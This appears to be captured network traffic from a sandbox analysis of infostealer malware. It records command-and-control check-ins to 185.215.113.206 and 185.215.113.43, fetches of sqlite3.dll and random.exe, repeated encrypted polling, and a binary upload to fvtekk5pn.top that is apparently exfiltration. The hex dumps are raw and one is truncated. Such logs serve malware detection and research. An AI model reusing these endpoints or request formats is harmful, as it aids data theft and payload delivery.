Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDBFCBGDBKKECBFCGIEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 35 36 62 30 32 35 32 62 62 32 61 63 32 35 32 30 62 38 31 30 63 37 64 65 63 39 35 65 34 32 30 39 63 61 66 35 37 64 31 66 66 34 35 33 39 63 64 64 34 66 30 64 30 39 35 36 31 31 62 32 37 62 31 37 35 38 36 31 38 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 2d 2d 0d 0a Data Ascii: ------HIDBFCBGDBKKECBFCGIEContent-Disposition: form-data; name="token"c456b0252bb2ac2520b810c7dec95e4209caf57d1ff4539cdd4f0d095611b27b17586182------HIDBFCBGDBKKECBFCGIEContent-Disposition: form-data; name="message"plugins------HIDBFCBGDBKKECBFCGIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 35 36 62 30 32 35 32 62 62 32 61 63 32 35 32 30 62 38 31 30 63 37 64 65 63 39 35 65 34 32 30 39 63 61 66 35 37 64 31 66 66 34 35 33 39 63 64 64 34 66 30 64 30 39 35 36 31 31 62 32 37 62 31 37 35 38 36 31 38 32 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="token"c456b0252bb2ac2520b810c7dec95e4209caf57d1ff4539cdd4f0d095611b27b17586182------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="message"fplugins------FCBAEHCAEGDHJKFHJKFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHCFIDAKJEBGCAFBAEHost: 185.215.113.206Content-Length: 6103Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008765001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008766001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 2803Content-Type: multipart/form-data; boundary=------------------------mGbUpDFf9H7Oy2Oc6bVQ0kData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6d 47 62 55 70 44 46 66 39 48 37 4f 79 32 4f 63 36 62 56 51 30 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 69 67 61 6a 61 71 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a b6 a0 4b a1 68 05 05 30 a9 a9 9d 4f 35 83 78 f8 8b e4 f6 77 88 c6 46 5c 82 2e bd 8d 09 75 4b d2 a4 29 91 71 90 80 97 42 a4 15 fe 2c 5e fb 42 14 7f 36 00 b2 a7 07 fa 4a 6f cf 04 ee 1b 85 01 2e 54 b5 7d c5 aa d3 38 e0 31 8f 06 fc 2a b2 6d c5 8c a5 c1 98 2b 80 7e 63 38 17 d6 c5 ff 99 57 6a d6 cc 35 ba 7f 67 c3 03 18 3e 9f d0 14 47 35 48 7b 50 66 64 63 cf 8a df 2e 85 1d cc 3c 89 bd 09 b2 06 4b 39 cb a7 ef 1b 32 03 19 93 14 e6 2f 40 9e 22 ad 27 af 7f 85 05 c0 b4 db 60 35 d0 1f 7d c3 0f e2 b8 55 b8 1d 2d 14 6d 0e 28 02 be 24 e4 7c 40 ec 81 1c 78 1f 22 2a 91 60 dc fa 66 d3 77 cb 36 66 3f c3 f1 de 57 b0 ee 0d c2 ef 04 a3 82 1a 29 2e aa 35 53 f3 33 1d 2f 03 44 44 61 8c a6 5e 1b c4 c7 e3 00 dc 11 13 05 87 03 83 c6 10 f0 cf 5f 62 30 a2 f8 51 e8 5d 9b 95 4a 80 39 b6 21 e7 f8 52 9f 90 5d bd fe c0 b8 2f af a9 4d b4 ab 55 e6 be b0 23 5a 82 e1 1d 97 e3 41 7f 5b bd ce a7 5b 9c 36 13 c5 2b eb 04 cd 5c ea a3 a4 d6 e8 be b7 7a f5 d9 70 ab 7e 2d 67 0f 65 cf 19 58 a6 ea db e1 34 70 6d 53 6c 53 da 85 bc 8e 8f 9e 6b 9e 44 65 7e f9 a6 fd 99 bb 69 74 85 98 28 aa 1b 39 74 86 0b 26 3b 3c 76 f5 94 06 44 dd cb 36 c1 7a a9 a4 60 61 aa ed a3 f1 84 e9 bb 5f eb f6 f5 28 2c 55 e4 b2 7a dc 44 a8 b7 d2 e6 cc 9d 5e d3 ea e5 65 de 80 ba 5c c0 68 8b 67 c2 fc 3b 25 24 66 fd d7 aa 54 a6 99 d2 ea 2e 2d f7 60 50 5c bb a4 b5 6f 2f ff 2f b7 19 fc f8 32 fe 5b be 29 ca 4f 89 4e 6b a6 a8 77 06 de 0d 9c 3a 84 4c 65 d9 04 64 1e e9 6b 79 31 ad c0 4b 84 5d 47 32 08 a2 ed df 01 62 f6 7d 9b 89 85 d8 04 67 b0 8c fd 95 65 5f 51 0f 50 6f 17 2d 48 70 06 14 5b 9b 17 7f 54 f4 34 0f a2 df 6e 6a 49 64 5f dd d7 28 92 50 43 e9 28 98 81 62 82 3b f1 b2 a5 f0 0a 82 a8 29 bf a6 8b 12 3c 12 a9 21 0e 90 ed 4e 8b 5f 10 ac 90 b8 51 73 a3 2b 7a 95 6e 6a 93 c1 4e fa bb 91 58 90 b8 6b 08 2f 3a 4c d5 d7 8d 65 76 25 6d 75 cb 86 f2 a6 e4 ad eb 35 ec b7 8d 26 1e 9d 74 f8 41 ed 01 dc b2 a4 58 f0 c5 d7 67 a7 e8 f1 c6 89 48 6a ff 2a 37 e2 8f 23 ec f2 42 67 30 2c a9 e9 f3 eb 0c 53 dc 69 94 68 0f b8 b3 de d9 18 19 09 71 b5 0e eb e2 ae ed 5c 1d 0f 8b 11 3a a8 09 01 3d 03 6c b2 41 76 6d ad ea 31 a4 39 96 c4 ec 9e dd b9 47 dc cf 97 6a 68 70 36 59 73 2a 55 77 c5 c5 be 1d e3 b1 cf 38 35 2d 6b b9 dd 49 6c 7e 3e 18 e8 08 3d 5d 1e 6b 3f 54 35 d5 99 b5 7e 9f ba 9e e6 1a 71 b4 c6 f2 e4 fb f5 4c 1f f8 d8 be 8d fa ea 0f c2 b6 9b 3a 7a a9 12 bb d9 b1 cc fb 59 21 6b 66 42 45 dc 02 88 7
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 38 32 45 37 39 42 32 46 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="hwid"2682E79B2F583419705248------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="build"mars------FCFBGIDAEHCFIDGCBGII--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGCBAECFCAKKEBFCFIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 42 41 45 43 46 43 41 4b 4b 45 42 46 43 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 38 32 45 37 39 42 32 46 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 42 41 45 43 46 43 41 4b 4b 45 42 46 43 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 42 41 45 43 46 43 41 4b 4b 45 42 46 43 46 49 49 2d 2d 0d 0a Data Ascii: ------GCGCBAECFCAKKEBFCFIIContent-Disposition: form-data; name="hwid"2682E79B2F583419705248------GCGCBAECFCAKKEBFCFIIContent-Disposition: form-data; name="build"mars------GCGCBAECFCAKKEBFCFII--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
